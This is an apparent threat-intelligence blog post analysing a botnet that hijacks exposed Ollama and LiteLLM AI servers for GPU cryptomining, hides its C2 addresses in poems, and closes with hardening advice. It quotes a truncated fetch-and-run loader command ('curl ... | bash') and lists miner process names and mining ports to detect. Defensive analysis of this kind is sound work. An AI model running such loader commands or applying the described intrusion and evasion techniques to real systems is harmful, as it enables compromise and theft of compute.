Date: October 7, 2026 | Author: Threat Research & Intelligence Team, Digital Spying
Category: AI Infrastructure Security / Malware Analysis / Botnets / Cryptojacking / Steganography
Tags: PoeLLM, Canto Incognito, Lumen Black Lotus Labs, Ollama, LiteLLM, vLLM, Steganography, XMRig, Cryptomining, GPU Hijacking
Executive Summary
The explosive corporate adoption of artificial intelligence and self-hosted Large Language Model (LLM) tools has created an expansive, under-defended attack surface. On October 6–7, 2026, cybersecurity researchers at Lumen Black Lotus Labs published an eye-opening threat intelligence report detailing Canto Incognito, an aggressive, financially motivated botnet campaign that has compromised more than 3,400 enterprise AI and machine learning servers globally.
As reported by The Hacker News and technical teardowns on daily.dev, the campaign distributes a novel malware family codenamed PoeLLM. The threat actors target internet-facing and misconfigured deployments of popular open-source AI frameworks—including LiteLLM, Ollama, Ray, Gotenberg document conversion services, and Gitea code platforms, as well as enterprise perimeter gateways like Ivanti Sentry (exploited via CVE-2026-10520).
Once inside, the actors harness high-performance GPU accelerators (NVIDIA H100, A100, and RTX enterprise series) and multi-core CPU clusters to mine Monero (XMR) and Iron via the Russian mining pool Kryptex. What sets PoeLLM apart from ordinary cryptojacking botnets is its ingenious evasion mechanism: the malware resolves its active command-and-control (C2) server addresses through poetic steganography, decoding operational IP addresses from algorithmic verses and poems hosted on public web platforms.
Technical Deep-Dive: Deconstructing the PoeLLM Botnet & Poetic C2 Architecture
To understand why AI infrastructure has become the premier target for automated botnets, we examine the exploitation vectors, the poetic dead-drop C2 engine, and the malware's dual-purpose mining and scanning payload.
Stage
Threat Actor / Source
Action & Target Infrastructure
Steganographic / Payload Mechanism
1. Reconnaissance
Canto Incognito
Mass scans ports 11434 (Ollama) & 4000 (LiteLLM)
Identifies exposed, unauthenticated API endpoints
2. Exploitation
Target AI Server
Remote Command Injection / Payload Drop
Exploits model pull APIs to execute curl -s .../loader.sh | bash
3. Execution
Local System
PoeLLM Binary Dropped & Initialized
Establishes persistent user-space background service
4. C2 Resolution
Public Web Hosting
GET https://public-host/verses.txt
Fetches benign-looking literary poetry
5. Extraction
Local System
Decodes metrical structure & ASCII metrics
Computes dynamic C2 IP (e.g., 185.220.x.x:8443)
6. Monetization
Kryptex Pool
Deploys GPU-optimized XMRig & Iron miners
Hijacks high-density NVIDIA H100/A100 compute resources
7. Propagation
Global Network
Spawns distributed scanning engine
Uses victim bandwidth to discover adjacent vulnerable AI hosts
1. The Incentive: The AI Compute Gold Rush
In traditional cryptojacking campaigns, malware operators infect generic web servers or office desktops yielding negligible mining returns. In contrast, enterprise AI infrastructure presents an unprecedented goldmine:
* Massive GPU Density: Modern AI inference and training servers house clusters of enterprise graphics accelerators engineered for massive parallel computation. When hijacked for cryptocurrency algorithms like RandomX, these systems generate thousands of times more profit per infected node than standard CPUs.
* The "Shadow AI" Blindspot: Engineering and data science teams routinely deploy self-hosted LLM inference engines (such as Ollama or LiteLLM proxies) on cloud virtual machines without engaging central enterprise security teams. As a result, these servers often run with default credentials, lack ingress firewalls, and operate without EDR sensors.
2. The Exploitation Pipeline: Sweeping Framework Endpoints
Telemetry gathered by Black Lotus Labs indicates that PoeLLM utilizes an automated, modular scanning engine:
* Ollama Ingress (Port 11434): Attackers exploit exposed Ollama APIs where endpoints like /api/pull or /api/generate can be manipulated to trigger path traversals, SSRF, or container escapes.
* LiteLLM Middleware (Port 4000): LiteLLM acts as a proxy routing calls across multiple model providers. Unprotected instances allow attackers to route malicious payloads or abuse administrative debugging endpoints to execute system commands.
* Adjacent Infrastructure: The threat actors also chain exploits against peripheral services commonly deployed alongside AI pipelines, including the Gotenberg PDF converter, self-hosted Gitea repositories, and Ivanti Sentry gateways (CVE-2026-10520).
3. The C2 Innovation: Poetic Steganography
Traditional botnets rely on hardcoded IP addresses, dynamic DNS, or Telegram bots for Command-and-Control. These channels are easily detected and blocked by security perimeter controls. PoeLLM circumvents detection through literary steganography:
* The Literary Dead-Drop: The malware issues standard HTTPS requests to public code repositories, paste sites, or blog platforms hosting seemingly benign poems.
* Decoding the Metrical Matrix: PoeLLM applies a deterministic mathematical algorithm to the poem. By measuring the length of specific words in designated stanzas, computing character offsets, or extracting acrostic letters, the malware dynamically calculates the decimal octets of the active C2 IPv4 address and port.
* Dynamic Infrastructure Agility: Because network inspection appliances and WAFs classify the inbound traffic as innocent textual content, no intrusion alerts are raised. When security teams take down an attacker C2 server, the operators simply update a few words in the public poem. Within minutes, thousands of infected nodes re-calculate the new C2 destination automatically.
4. Compute Monetization and Autonomous Self-Propagation
Once initial C2 communication is established:
* GPU-Aware Cryptomining: PoeLLM queries local hardware via nvidia-smi and CPU architecture calls, dropping optimized builds of the XMRig and Iron miners configured to connect to Kryptex mining pools. The malware dynamically throttles miner threads to avoid triggering thermal throttling or hypervisor crash alerts.
* Worm-like Botnet Expansion: PoeLLM turns each compromised host into an active reconnaissance node. Compromised servers scan contiguous internet IP ranges for open AI ports, weaponizing the victim company's high-bandwidth cloud network to infect additional organizations.
Industry Impact on Enterprise Cloud Budgets and AI Reliability
The Canto Incognito campaign illustrates the hidden operational costs of unsecured AI adoption:
* Runaway Cloud Costs: High-performance GPU instances running in AWS, Azure, or GCP cost thousands of dollars per month. Cryptojacking operations driving GPUs to 100% capacity saddle enterprises with catastrophic cloud compute invoices.
* Operational Degradation: Legitimate production AI inference requests, internal customer support chatbots, and code generation pipelines experience severe latency spikes or out-of-memory crashes as mining daemons starve legitimate LLMs of VRAM.
Defensive Hardening Blueprint & Remediation Strategies
To defend enterprise AI infrastructure against PoeLLM and related botnet campaigns, organizations must enforce immediate security controls:
1. Lock Down AI API Ingress and Network Binding
* Disable Public Binding: Never bind Ollama or LiteLLM to 0.0.0.0. Enforce binding strictly to localhost (127.0.0.1) or private VPC interfaces.
* In Ollama, ensure OLLAMA_HOST=127.0.0.1:11434.
* Enforce Mandatory Authentication: Configure strong master API keys across LiteLLM (LITELLM_MASTER_KEY) and deploy reverse proxies enforcing Mutual TLS (mTLS) or OAuth 2.0 before routing traffic to AI services.
2. Restrict Outbound Network Egress
AI inference and training nodes have predictable network traffic patterns:
* Restrict outbound internet connectivity from AI server subnets. Deny all outbound TCP connections to unapproved external IPs.
* Explicitly block outbound traffic to known cryptocurrency mining pools, Stratum protocols, and mining ports (e.g., 3333, 4444, 5555, 7777, 8888, 9999).
3. Container Runtime Monitoring & Process Auditing
Configure EDR and container security tools (Falco, Tetragon, Datadog) to alert on anomalous process creation within AI container namespaces:
* Alert on execution of known cryptomining processes (xmrig, iron, kdevtmpfsi).
* Detect unauthorized processes querying nvidia-smi or allocating direct CUDA compute resources outside the main inference engine process tree.
* Flag shell executions originating from web application workers or AI model loading directories.
________________
For AI infrastructure security research, botnet teardowns, and GPU threat intelligence, subscribe to Digital Spying.